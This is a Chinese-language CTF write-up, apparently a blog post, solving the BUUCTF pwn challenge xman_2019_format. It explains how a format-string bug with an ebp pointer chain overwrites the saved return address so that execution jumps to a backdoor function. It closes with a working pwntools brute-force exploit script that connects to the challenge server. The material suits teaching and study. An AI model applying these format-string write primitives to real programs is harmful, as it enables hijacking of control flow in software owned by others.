[BUUCTF-pwn]——xman_2019_format

[BUUCTF-pwn]——xman_2019_format

本小白终于想明白了, 第一个写出来这道题的人, 好厉害感觉.

脑袋嗡嗡的, 这道题让我想了一个上午竟然, 果然适当睡眠有助于思考, 睡一觉就想出来了.

也看过几个题解不过,虽然解法相同,但是基本都木有将清楚, 每一步的原因是什么都木有说清楚. peak不才, 在这里试着详细说明一下, 毕竟想了一个上午的东西,还是有必要好好总结一下的 .

peak小知识

  • ALSR : 你们肯定都知道,不就是地址随机化嘛有什么, 但是这道题如果你们不清楚具体的原理很有可能写不出来. 对于32位的线 性地址来说,高四位为全局页表,如果用随机产生会影响对高位内存的映射能力,会产生大 量的内存碎片,低12位要考虑页对齐,因而只能有16位来作为偏移量 . 可能不清楚, 举个例子 0x080485AB地址 它只能0x10 0x10的修改. 同时高四位不会被修改, 同时由于页对齐 , 也就意味着只有A 会被随机化. 64位类似.
  • %{offest}$n : 大家也不陌生, 就是格式化字符串修改. 可是你真的知道嘛, 有的只是套用公式, fmtstr_payload, 或者直接不明不白就用 n hn hhn 写了
    其实如果有 A->B->C. 那么如果 % $n指向A的话, 实际修改的是C.

思路

前面 哔哔哔那么多开始直奔正题
首先这题给了我们一个backdoor, 后门函数, 地址为0x080485AB我们只需要将返回地址修改为这个就好
在这里插入图片描述
没有栈溢出, 只有两个格式化字符串漏洞, 前面有一个buf, 输入的buf '|'之前的是第一个printf, 之后的是第二个printf
在这里插入图片描述

我们不能直接修改 eip,但根据刚才的peak小知识, 我们可以间接修改eip,
利用ebp链, 使得一个地址指向储存eip的地址就好

第一步找到偏移偏移为10, 第一步将0xffa44088改为0xffa4403c也就是指向eip的地址, 不过由于地址随机化,只需要改最后两位保证最后为C就好, 我这里是0x0C, 当然 1C、2C、3C…都可以在这里插入图片描述

第二次计算偏移,找到上一级的ebp, 利用格式化字符串将后门函数的地址写入. 其实只需要修改低位就好, 高位同一个程序基本都是相同的.
在这里插入图片描述

可能还是有点迷糊

A->B->C 利用这个将C修改为了指向eip的地址.

B->C->D 此时C是指向eip的地址,那么D不就是eip嘛

不过由于地址随机化, 所有我也不知道是0C还是什么C, 多循环几次就好

exploit

from pwn import *
while 1:                                 
    #p = process("./xman_2019_format")  
    p = remote("node3.buuoj.cn",26721)
    #gdb.attach(p, 'b printf')
    payload = '%12c' + '%10$hhn|'     
    payload += '%34219c' + '%18$hn'      
    p.sendline(payload)                 
    try:                                  	
       	p.interactive()                 
    except:                              
       	p.close()   


  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值